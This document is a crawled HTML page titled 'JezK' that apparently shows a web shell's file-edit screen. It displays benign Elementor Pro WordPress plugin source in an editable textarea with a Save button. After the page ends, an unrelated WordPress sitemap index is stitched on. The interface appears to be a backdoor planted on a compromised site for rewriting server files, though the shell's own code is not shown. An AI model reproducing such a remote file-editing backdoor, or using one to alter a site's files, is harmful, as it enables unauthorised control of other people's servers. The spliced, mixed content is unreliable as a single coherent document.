
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: preview-manager.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace ElementorPro\Modules\ThemeBuilder\Classes;

use ElementorPro\Modules\ThemeBuilder\Documents\Theme_Document;
use ElementorPro\Modules\ThemeBuilder\Module;
use ElementorPro\Plugin;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly
}

class Preview_Manager {

	public function __construct() {
		add_filter( &#039;elementor/query/get_query_args/current_query&#039;, [ $this, &#039;filter_query_control_args&#039; ] );
		add_filter( &#039;elementor/theme/posts_archive/query_posts/query_vars&#039;, [ $this, &#039;filter_query_control_args&#039; ] );
		add_filter( &#039;elementor_pro/dynamic_tags/post_terms/taxonomy_args&#039;, [ $this, &#039;filter_post_terms_taxonomy_arg&#039; ] );

		add_action( &#039;elementor/template-library/before_get_source_data&#039;, [ $this, &#039;switch_to_preview_query&#039; ] );
		add_action( &#039;elementor/template-library/after_get_source_data&#039;, [ $this, &#039;restore_current_query&#039; ] );
		add_action( &#039;elementor/dynamic_tags/before_render&#039;, [ $this, &#039;switch_to_preview_query&#039; ] );
		add_action( &#039;elementor/dynamic_tags/after_render&#039;, [ $this, &#039;restore_current_query&#039; ] );
	}

	public function filter_post_terms_taxonomy_arg( $taxonomy_args ) {
		$current_post_id = get_the_ID();
		$document = Module::instance()-&gt;get_document( $current_post_id );

		if ( $document ) {
			// Show all taxonomies
			unset( $taxonomy_args[&#039;object_type&#039;] );
		}

		return $taxonomy_args;
	}

	/**
	 * @access public
	 *
	 * @param $query_vars array
	 *
	 * @return array
	 */
	public function filter_query_control_args( $query_vars ) {
		$document = Plugin::elementor()-&gt;documents-&gt;get_doc_or_auto_save( get_the_ID() );

		if ( $document &amp;&amp; $document instanceof Theme_Document ) {
			$query_vars = $document-&gt;get_preview_as_query_args();
		}

		return $query_vars;
	}

	/**
	 * @access public
	 */
	public function switch_to_preview_query() {
		$current_post_id = get_the_ID();
		$document = Plugin::elementor()-&gt;documents-&gt;get_doc_or_auto_save( $current_post_id );

		if ( ! $document || ! $document instanceof Theme_Document ) {
			return;
		}

		$new_query_vars = $document-&gt;get_preview_as_query_args();

		Plugin::elementor()-&gt;db-&gt;switch_to_query( $new_query_vars, true );

		$document-&gt;after_preview_switch_to_query();
	}

	/**
	 * @access public
	 */
	public function restore_current_query() {
		Plugin::elementor()-&gt;db-&gt;restore_current_query();
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
